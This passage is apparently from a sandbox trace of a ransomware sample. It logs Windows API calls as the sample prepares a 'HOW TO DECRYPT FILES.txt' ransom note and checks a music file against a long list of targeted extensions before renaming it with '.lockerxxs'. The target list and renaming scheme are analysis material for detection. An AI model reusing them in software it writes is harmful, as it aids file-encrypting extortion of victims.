HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="" [0090.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" [0090.787] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\how to decrypt files.txt")) returned 0x20 [0090.787] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="OQxDZnkVkEO_.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" [0090.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.ems") returned 0 [0090.787] lstrlenA (lpString="*.ems") returned 5 [0090.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.db") returned 0 [0090.787] lstrlenA (lpString="*.db") returned 4 [0090.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.dbf") returned 0 [0090.787] lstrlenA (lpString="*.dbf") returned 5 [0090.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.myox") returned 0 [0090.788] lstrlenA (lpString="*.myox") returned 6 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.myo") returned 0 [0090.788] lstrlenA (lpString="*.myo") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbw") returned 0 [0090.788] lstrlenA (lpString="*.qbw") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbb") returned 0 [0090.788] lstrlenA (lpString="*.qbb") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbm") returned 0 [0090.788] lstrlenA (lpString="*.qbm") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbo") returned 0 [0090.788] lstrlenA (lpString="*.qbo") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbx") returned 0 [0090.788] lstrlenA (lpString="*.qbx") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qba") returned 0 [0090.788] lstrlenA (lpString="*.qba") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qby") returned 0 [0090.788] lstrlenA (lpString="*.qby") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qbj") returned 0 [0090.788] lstrlenA (lpString="*.qbj") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.ofx") returned 0 [0090.788] lstrlenA (lpString="*.ofx") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.qif") returned 0 [0090.788] lstrlenA (lpString="*.qif") returned 5 [0090.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mye") returned 0 [0090.789] lstrlenA (lpString="*.mye") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mbox") returned 0 [0090.789] lstrlenA (lpString="*.mbox") returned 6 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.eml") returned 0 [0090.789] lstrlenA (lpString="*.eml") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.pst") returned 0 [0090.789] lstrlenA (lpString="*.pst") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.ost") returned 0 [0090.789] lstrlenA (lpString="*.ost") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.idx") returned 0 [0090.789] lstrlenA (lpString="*.idx") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.dbx") returned 0 [0090.789] lstrlenA (lpString="*.dbx") returned 5 [0090.789] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.sql") returned 0 [0090.789] lstrlenA (lpString="*.sql") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mdb") returned 0 [0090.790] lstrlenA (lpString="*.mdb") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.fdb") returned 0 [0090.790] lstrlenA (lpString="*.fdb") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.wab") returned 0 [0090.790] lstrlenA (lpString="*.wab") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.dat") returned 0 [0090.790] lstrlenA (lpString="*.dat") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.txt") returned 0 [0090.790] lstrlenA (lpString="*.txt") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.jpeg") returned 0 [0090.790] lstrlenA (lpString="*.jpeg") returned 6 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.jpg") returned 0 [0090.790] lstrlenA (lpString="*.jpg") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.png") returned 0 [0090.790] lstrlenA (lpString="*.png") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.php") returned 0 [0090.790] lstrlenA (lpString="*.php") returned 5 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.cs") returned 0 [0090.790] lstrlenA (lpString="*.cs") returned 4 [0090.790] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.cpp") returned 0 [0090.791] lstrlenA (lpString="*.cpp") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.rar") returned 0 [0090.791] lstrlenA (lpString="*.rar") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.zip") returned 0 [0090.791] lstrlenA (lpString="*.zip") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.html") returned 0 [0090.791] lstrlenA (lpString="*.html") returned 6 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.htm") returned 0 [0090.791] lstrlenA (lpString="*.htm") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.xlsx") returned 0 [0090.791] lstrlenA (lpString="*.xlsx") returned 6 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.xls") returned 0 [0090.791] lstrlenA (lpString="*.xls") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mp4") returned 0 [0090.791] lstrlenA (lpString="*.mp4") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.ppt") returned 0 [0090.791] lstrlenA (lpString="*.ppt") returned 5 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.pptx") returned 0 [0090.791] lstrlenA (lpString="*.pptx") returned 6 [0090.791] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.doc") returned 0 [0090.791] lstrlenA (lpString="*.doc") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.dot") returned 0 [0090.792] lstrlenA (lpString="*.dot") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.docx") returned 0 [0090.792] lstrlenA (lpString="*.docx") returned 6 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.7z") returned 0 [0090.792] lstrlenA (lpString="*.7z") returned 4 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.tar") returned 0 [0090.792] lstrlenA (lpString="*.tar") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.bz2") returned 0 [0090.792] lstrlenA (lpString="*.bz2") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.gz") returned 0 [0090.792] lstrlenA (lpString="*.gz") returned 4 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mkv") returned 0 [0090.792] lstrlenA (lpString="*.mkv") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.eml") returned 0 [0090.792] lstrlenA (lpString="*.eml") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.msg") returned 0 [0090.792] lstrlenA (lpString="*.msg") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.edb") returned 0 [0090.792] lstrlenA (lpString="*.edb") returned 5 [0090.792] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.accdb") returned 0 [0090.792] lstrlenA (lpString="*.accdb") returned 7 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.odb") returned 0 [0090.793] lstrlenA (lpString="*.odb") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.java") returned 0 [0090.793] lstrlenA (lpString="*.java") returned 6 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.asm") returned 0 [0090.793] lstrlenA (lpString="*.asm") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.pfx") returned 0 [0090.793] lstrlenA (lpString="*.pfx") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.pem") returned 0 [0090.793] lstrlenA (lpString="*.pem") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.p12") returned 0 [0090.793] lstrlenA (lpString="*.p12") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.gpg") returned 0 [0090.793] lstrlenA (lpString="*.gpg") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.vsd") returned 0 [0090.793] lstrlenA (lpString="*.vsd") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.odg") returned 0 [0090.793] lstrlenA (lpString="*.odg") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.raw") returned 0 [0090.793] lstrlenA (lpString="*.raw") returned 5 [0090.793] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.nef") returned 0 [0090.794] lstrlenA (lpString="*.nef") returned 5 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.svg") returned 0 [0090.794] lstrlenA (lpString="*.svg") returned 5 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.psd") returned 0 [0090.794] lstrlenA (lpString="*.psd") returned 5 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.vmx") returned 0 [0090.794] lstrlenA (lpString="*.vmx") returned 5 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.vmdk") returned 0 [0090.794] lstrlenA (lpString="*.vmdk") returned 6 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.vdi") returned 0 [0090.794] lstrlenA (lpString="*.vdi") returned 5 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.lay6") returned 0 [0090.794] lstrlenA (lpString="*.lay6") returned 6 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mpeg") returned 0 [0090.794] lstrlenA (lpString="*.mpeg") returned 6 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.djvu") returned 0 [0090.794] lstrlenA (lpString="*.djvu") returned 6 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.tiff") returned 0 [0090.794] lstrlenA (lpString="*.tiff") returned 6 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.backup") returned 0 [0090.794] lstrlenA (lpString="*.backup") returned 8 [0090.794] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.pdf") returned 0 [0090.794] lstrlenA (lpString="*.pdf") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.cert") returned 0 [0090.795] lstrlenA (lpString="*.cert") returned 6 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.docm") returned 0 [0090.795] lstrlenA (lpString="*.docm") returned 6 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.xlsm") returned 0 [0090.795] lstrlenA (lpString="*.xlsm") returned 6 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.dwg") returned 0 [0090.795] lstrlenA (lpString="*.dwg") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.nd") returned 0 [0090.795] lstrlenA (lpString="*.nd") returned 4 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.tlg") returned 0 [0090.795] lstrlenA (lpString="*.tlg") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.lgb") returned 0 [0090.795] lstrlenA (lpString="*.lgb") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mov") returned 0 [0090.795] lstrlenA (lpString="*.mov") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.xdw") returned 0 [0090.795] lstrlenA (lpString="*.xdw") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.ods") returned 0 [0090.795] lstrlenA (lpString="*.ods") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.wav") returned 0 [0090.795] lstrlenA (lpString="*.wav") returned 5 [0090.795] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", pszSpec="*.mp3") returned 1 [0090.796] lstrlenA (lpString="*.mp3") returned 5 [0090.796] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" [0090.796] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" [0090.796] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3." [0090.796] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS 